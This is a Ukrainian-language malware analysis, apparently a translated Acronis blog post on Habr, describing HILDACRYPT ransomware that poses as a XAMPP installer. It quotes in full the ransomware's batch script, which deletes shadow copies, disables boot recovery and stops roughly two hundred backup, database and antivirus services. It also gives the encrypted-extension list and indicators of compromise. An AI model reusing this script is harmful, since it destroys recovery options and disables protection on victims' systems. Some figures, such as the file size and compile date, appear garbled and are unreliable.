🥇HILDACRYPT: нова програма-вимагач завдає удару по системам резервного копіювання та антивірусним рішенням

Привіт, Хабре! І знову ми розповідаємо про нові версії шкідливого ПЗ з категорії Ransomware. HILDACRYPT – це нова програма-вимагач, представник виявленого у серпні 2019 року сімейства Hilda, названого на честь мультфільму стрімінгового сервісу Netflix, який був використаний для розповсюдження ПЗ. Сьогодні ми знайомимося з технічними особливостями роботи цього оновленого вірусу-вимагача.

У першій версії здирників Hilda посилання на розміщений на Youtube трейлер мультиплікаційного серіалу містилася у листі про викуп. HILDACRYPT маскується під легітимний установник XAMPP - простий в установці дистрибутив Apache, що включає MariaDB, PHP і Perl. При цьому криптолокер має інше ім'я файлу — xamp. Крім того, файл програми здирника не має електронного підпису.

Статичний аналіз

Програма-вимагач міститься у файлі PE32. NET, написаному під MS Windows. Його розмір складає 135 байт. Як основний програмний код, і код програми-захисника написані на С#. Відповідно до позначки про дату та час компіляції, двійковий файл було створено 168 вересня 14 року.

За даними Detect It Easy, вірус-вимагач заархівований за допомогою Confuser і ConfuserEx, але ці обфускатори такі ж, як раніше, тільки ConfuserEx є наступником Confuser, тому сигнатури їх кодів є схожими.

HILDACRYPT дійсно запаковано за допомогою ConfuserEx.

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Вектор атаки

Швидше за все, програма-вимагач була виявлена на одному із сайтів, присвячених веб-програмуванню, маскуючись під легітимну програму XAMPP.

Весь ланцюжок зараження можна побачити в app.any.run sandbox.

Обфускація

Рядки програми-вимагача зберігаються у зашифрованому вигляді. При запуску HILDACRYPT розшифровує їх за допомогою Base64 та AES-256-CBC.

Встановлення

Насамперед програма-вимагач створює в %AppDataRoaming% папку, у якої параметр GUID (Globally Unique Identifier) генерується випадковим чином. Додаючи в це розташування bat-файл, вірус-вимагач запускає його за допомогою cmd.exe:

cmd.exe /c JKfgkgj3hjgfhjka.bat & exit

Потім він починає виконання пакетного скрипта, щоб вимкнути системні функції чи служби.

Скрипт містить довгий список команд, за допомогою яких знищуються тіньові копії, відключається SQL-сервер, резервне копіювання та антивірусні рішення.

Наприклад, він безуспішно намагається зупинити служби резервного копіювання Acronis Backup. Крім того, він атакує системи резервного копіювання та антивірусні рішення наступних постачальників: Veeam, Sophos, Kaspersky, McAfee та інших.

@echo off
:: Not really a fan of ponies, cartoon girls are better, don't you think?
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop “Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop “Zoolz 2 Service” /y
net stop McTaskManager /y
net stop “Sophos AutoUpdate Service” /y
net stop “Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y
net stop SQLAgent$SOPHOS /y
net stop “Symantec System Recovery” /y
net stop Antivirus /y
net stop SstpSvc /y
net stop MSOLAP$SQL_2008 /y
net stop TrueKeyServiceHelper /y
net stop sacsvr /y
net stop VeeamNFSSvc /y
net stop FA_Scheduler /y
net stop SAVAdminService /y
net stop EPUpdateService /y
net stop VeeamTransportSvc /y
net stop “Sophos Health Service” /y
net stop bedbg /y
net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y
net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y
net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y
net stop SmcService /y
net stop ReportServer$TPSAMA /y
net stop swi_update /y
net stop AcrSch2Svc /y
net stop MSSQL$SYSTEM_BGC /y
net stop VeeamBrokerSvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net stop VeeamDeploymentService /y
net stop SQLAgent$TPS /y
net stop DCAgent /y
net stop “Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y
net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y
net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y
net stop SMTPSvc /y
net stop mfefire /y
net stop BackupExecRPCService /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop klnagent /y
net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y
net stop SQLTELEMETRY /y
net stop “Sophos Clean Service” /y
net stop swi_update_64 /y
net stop “Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y
net stop MSOLAP$TPSAMA /y
net stop McAfeeEngineService /y
net stop “Veeam Backup Catalog Data Service” /
net stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y
net stop AcronisAgent /y
net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y
net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y
net stop TrueKey /y
net stop VeeamMountSvc /y
net stop MsDtsServer110 /y
net stop SQLAgent$BKUPEXEC /y
net stop UI0Detect /y
net stop ReportServer /y
net stop SQLTELEMETRY$ECWDB2 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQL$BKUPEXEC /y
net stop SQLAgent$PRACTTICEBGC /y
net stop MSExchangeSRS /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop McShield /y
net stop SepMasterService /y
net stop “Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y
net stop NetMsmqActivator /y
net stop kavfsslp /y
net stop tmlisten /y
net stop ShMonitor /y
net stop MsDtsServer /y
net stop SQLAgent$SQL_2008 /y
net stop SDRSVC /y
net stop IISAdmin /y
net stop SQLAgent$PRACTTICEMGT /y
net stop BackupExecJobEngine /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop BackupExecAgentBrowser /y
net stop VeeamHvIntegrationSvc /y
net stop masvc /y
net stop W3Svc /y
net stop “SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y
net stop SQLBrowser /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y
net stop “Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop MSExchangeMGMT /y
net stop SamSs /y
net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y
net stop ESHASRV /y
net stop MSSQL$TPSAMA /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop VeeamCloudSvc /y
net stop “Sophos File Scanner Service” /y
net stop “Sophos Agent” /y
net stop MBEndpointAgent /y
net stop swi_service /y
net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y
net stop “Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y
net stop VeeamEnterpriseManagerSvc /y
net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y
net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y
net stop ARSM /y
net stop MSExchangeIS /y
net stop AVP /y
net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y
net stop TrueKeyScheduler /y
net stop MSSQL$SOPHOS /y
net stop “SQL Backups” /y
net stop MSSQL$TPS /y
net stop mfemms /y
net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y
net stop mozyprobackup /y
net stop MSSQL$SQL_2008 /y
net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y
net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y
net stop sophossps /y
net stop ekrn /y
net stop MMS /y
net stop “Sophos MCS Agent” /y
net stop RESvc /y
net stop “Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop “SQLsafe Filter Service” /y
net stop MSSQL$PROD /y
net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y
net stop VeeamDeploySvc /y
net stop MSSQLServerOLAPService /y
del %0

Після того, як згадані вище служби та процеси відключені, криптолокер збирає інформацію про всі працюючі процеси, використовуючи команду tasklist, щоб переконатися, що всі необхідні служби непрацездатні.
tasklist v /fo csv

По цій команді виводиться докладний список працюючих процесів, елементи якого розділені знаком ",".
««csrss.exe»,«448»,«services»,«0»,«1�896 ��»,«unknown»,»�/�»,«0:00:03»,»�/�»»

Після цієї перевірки програма-вимагач розпочинає процес шифрування.

Шифрование

Шифрування файлів

HILDACRYPT проходить по всьому знайденому вмісту жорстких дисків, крім папок Recycle.Bin та Reference Assemblies Microsoft. В останньому містяться критично важливі файли dll, pdb та ін. для додатків .Net, які можуть вплинути на роботу програми-вимагача. Для пошуку файлів, які будуть зашифровані, використовується наступний список розширень:

«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»

Для шифрування файлів користувача програма-вимагач використовує алгоритм AES-256-CBC. Розмір ключа становить 256 біт, а розмір вектора ініціалізації (IV) – 16 байт.

На наступному знімку екрана значення byte_2 та byte_1 були отримані випадково за допомогою GetBytes().

Ключ

ВІ

Зашифрований файл має розширення HCY! Це приклад зашифрованого файлу. Для цього файлу було створено ключ і IV, згадані вище.

Шифрування ключів

Криптолокер зберігає згенерований ключ AES у зашифрованому файлі. Перша частина зашифрованого файлу має заголовок, який містить такі дані як HILDACRYPT, KEY, IV, FileLen у форматі XML, і виглядає так:

Шифрування ключа AES і IV відбувається за допомогою RSA-2048, а кодування за допомогою Base64. Відкритий ключ RSA зберігається в тілі криптолокера в одному із зашифрованих рядків у форматі XML.

28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB

Для шифрування ключа файлу AES використовується відкритий ключ RSA. Відкритий ключ RSA закодований за допомогою Base64 і складається з модуля та відкритої експоненти 65537. Для дешифрування потрібен закритий RSA-ключ, який є у зловмисника.

Після шифрування RSA ключ AES кодується за допомогою Base64, збереженого в зашифрованому файлі.

Повідомлення про викуп

Після закінчення шифрування HILDACRYPT записує html-файл у ту папку, де він зашифрував файли. Повідомлення програми-вимагача містить дві адреси електронної пошти, за якими жертва може зв'язатися зі зловмисником.

[захищено електронною поштою]
[захищено електронною поштою]

Вимогницьке повідомлення містить також рядок "No loli is safe;)" - "Жодна лолі не знаходиться в безпеці;)", - посилання до заборонених в Японії персонажів аніме та манги з зовнішністю маленьких дівчаток.

Висновок

HILDACRYPT, нове сімейство програм-вимагачів, випустило нову версію. Модель шифрування не дозволяє жертві дешифрувати зашифровані програмою-вимагачем файли. Криптолокером використовуються методи активного захисту для відключення служб захисту, що належать до систем резервного копіювання та антивірусних рішень. Автор HILDACRYPT - шанувальник демонстрованого через Netflix мультсеріалу Hilda, посилання на трейлер якого містилося в листі про викуп попередньої версії програми.

Як зазвичай, Acronis Backup и Acronis True Image можуть захистити ваш комп'ютер від програми-вимагача HILDACRYPT, а провайдери мають можливість захистити своїх клієнтів за допомогою Acronis Backup Cloud. Захист забезпечується завдяки тому, що до цих рішень кібербезпеки входить не лише резервне копіювання, а й наша інтегрована система захисту Acronis Active Protection — посилена моделлю машинного навчання та заснована на поведінкових евристиках технологія, яка, як жодна інша, здатна протистояти загрозам програм-вимагачів нульового дня.

індикатори компрометації

Розширення файлу HCY!
HILDACRYPTReadMe.html
xamp.exe з однією літерою «p» і без цифрового підпису
SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Джерело: habr.com

HILDACRYPT: нова програма-вимагач завдає удару по системам резервного копіювання та антивірусним рішенням